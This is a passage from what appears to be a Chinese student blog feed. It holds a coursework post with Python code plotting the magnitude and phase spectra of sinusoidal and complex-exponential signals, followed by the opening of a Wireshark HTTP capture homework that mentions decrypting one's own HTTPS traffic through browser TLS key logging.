class=\"n\"\u003efreq\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003emagnitude\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esig\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eylabel\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003er\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;Magnitude\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egrid\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kc\"\u003eTrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ey\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"nb\"\u003ezip\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efreq\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003emagnitude\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eannotate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"si\"\u003e:\u003c/span\u003e\u003cspan class=\"s1\"\u003e.2f\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003eha\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;center\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eva\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;bottom\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;red\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\n \u003cspan class=\"c1\"\u003e# 绘制相位\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esubplot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esignals\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"nb\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esignals\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estem\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efreq\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephase\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exlabel\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003er\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;Angular Frequency (rad/s)\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eylabel\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003er\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;Phase (deg)\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egrid\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kc\"\u003eTrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ey\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"nb\"\u003ezip\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efreq\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephase\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eannotate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"si\"\u003e:\u003c/span\u003e\u003cspan class=\"s1\"\u003e.2f\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003eha\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;center\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eva\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;bottom\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;red\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etight_layout\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eshow\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"第一问\"\u003e第一问\u003ca class=\"headerlink\" href=\"#第一问\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\cos(\\omega_0 t + \\phi) \\longleftrightarrow \\pi \\left[ \\delta(\\omega+\\omega_0) e^{-j\\phi} + \\delta(\\omega-\\omega_0) e^{j\\phi} \\right]\n\\]\u003c/div\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eplot_signals\u003c/span\u003e\u003cspan class=\"p\"\u003e([\u003c/span\u003e\n \u003cspan class=\"n\"\u003eSignalInfo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"sa\"\u003erf\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$\\omega_0$ = \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eomega\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e rad/s, \u0026#39;\u003c/span\u003e\n \u003cspan class=\"sa\"\u003erf\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$\\phi$ = \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eround\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edegrees\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ephi\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e°\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"k\"\u003elambda\u003c/span\u003e \u003cspan class=\"n\"\u003et\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eomega\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003eomega\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003ephi\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecos\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eomega\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003et\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003ephi\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003eomega\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"nb\"\u003ezip\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eomega_values\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi_values\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cimg alt=\"频谱 1\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240617170137.png\" /\u003e\u003c/p\u003e\n\u003ch2 id=\"第二问\"\u003e第二问\u003ca class=\"headerlink\" href=\"#第二问\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\ne^{j(\\omega_0 t + \\phi)} \\longleftrightarrow 2\\pi \\delta(\\omega-\\omega_0) e^{j\\phi}\n\\]\u003c/div\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eplot_signals\u003c/span\u003e\u003cspan class=\"p\"\u003e([\u003c/span\u003e\n \u003cspan class=\"n\"\u003eSignalInfo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"sa\"\u003erf\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$\\omega_0$ = \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eomega\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e rad/s, \u0026#39;\u003c/span\u003e\n \u003cspan class=\"sa\"\u003erf\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$\\phi$ = \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eround\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edegrees\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ephi\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e°\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"k\"\u003elambda\u003c/span\u003e \u003cspan class=\"n\"\u003et\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eomega\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003eomega\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003ephi\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eomega\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003et\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003ephi\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003eomega\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"nb\"\u003ezip\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eomega_values\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi_values\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cimg alt=\"频谱 2\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240617170240.png\" /\u003e\u003c/p\u003e\n\u003ch2 id=\"第三问\"\u003e第三问\u003ca class=\"headerlink\" href=\"#第三问\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{align}\nf_1(t) \u0026amp;= e^{j(t + 15^\\circ)} + e^{j(3t - 30^\\circ)} \\\\\nf_2(t) \u0026amp;= e^{j(t + 15^\\circ)} + e^{j(6t + 60^\\circ)} \\\\\nf_3(t) \u0026amp;= e^{j(3t - 30^\\circ)} + e^{j(6t + 60^\\circ)}\n\\end{align}\n\\]\u003c/div\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kn\"\u003efrom\u003c/span\u003e \u003cspan class=\"nn\"\u003eitertools\u003c/span\u003e \u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"n\"\u003ecombinations\u003c/span\u003e\n\n\u003cspan class=\"n\"\u003eplot_signals\u003c/span\u003e\u003cspan class=\"p\"\u003e([\u003c/span\u003e\n \u003cspan class=\"n\"\u003eSignalInfo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s1\"\u003eomega_1$ = \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eomega1\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e rad/s, \u0026#39;\u003c/span\u003e\n \u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s1\"\u003ephi_1$ = \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eround\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edegrees\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ephi1\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e°\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\n \u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s1\"\u003eomega_2$ = \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eomega2\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e rad/s, \u0026#39;\u003c/span\u003e\n \u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s1\"\u003ephi_2$ = \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eround\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edegrees\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ephi2\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e°\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"k\"\u003elambda\u003c/span\u003e \u003cspan class=\"n\"\u003et\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eomega1\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003eomega1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi1\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003ephi1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eomega2\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003eomega2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi2\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003ephi2\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereal\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eomega1\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003et\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003ephi1\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \\\n \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eomega2\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003et\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003ephi2\u003c/span\u003e\u003cspan class=\"p\"\u003e)))\u003c/span\u003e\n \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eomega1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eomega2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi2\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003ecombinations\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nb\"\u003ezip\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eomega_values\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephi_values\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cimg alt=\"频谱 3\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240617170316.png\" /\u003e\u003c/p\u003e\n\u003ch2 id=\"结论\"\u003e结论\u003ca class=\"headerlink\" href=\"#结论\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e实信号的幅值频谱是偶函数,相位频谱是奇函数。复信号的频谱没有这样的特点。\u003c/p\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/signal-spectrum-experiment/"},{"title":"Wireshark 抓包 HTTP 实验","time":"2024-06-17T08:36:10Z","content":"\u003ch1 id=\"Wireshark-抓包-HTTP-实验\"\u003eWireshark 抓包 HTTP 实验\u003ca class=\"headerlink\" href=\"#Wireshark-抓包-HTTP-实验\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e大二下,计网作业。\u003c/p\u003e\n\u003ch2 id=\"解密-HTTPS\"\u003e解密 HTTPS\u003ca class=\"headerlink\" href=\"#解密-HTTPS\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e现在网站基本都用 HTTPS,HTTPS 用了 TLS 做加密,需要解密后才能看到原始的 HTTP 报文。\u003c/p\u003e\n\u003cp\u003eChrome 和 Firefox 浏览器提供了记录 TLS 密钥的功能。添加环境变量 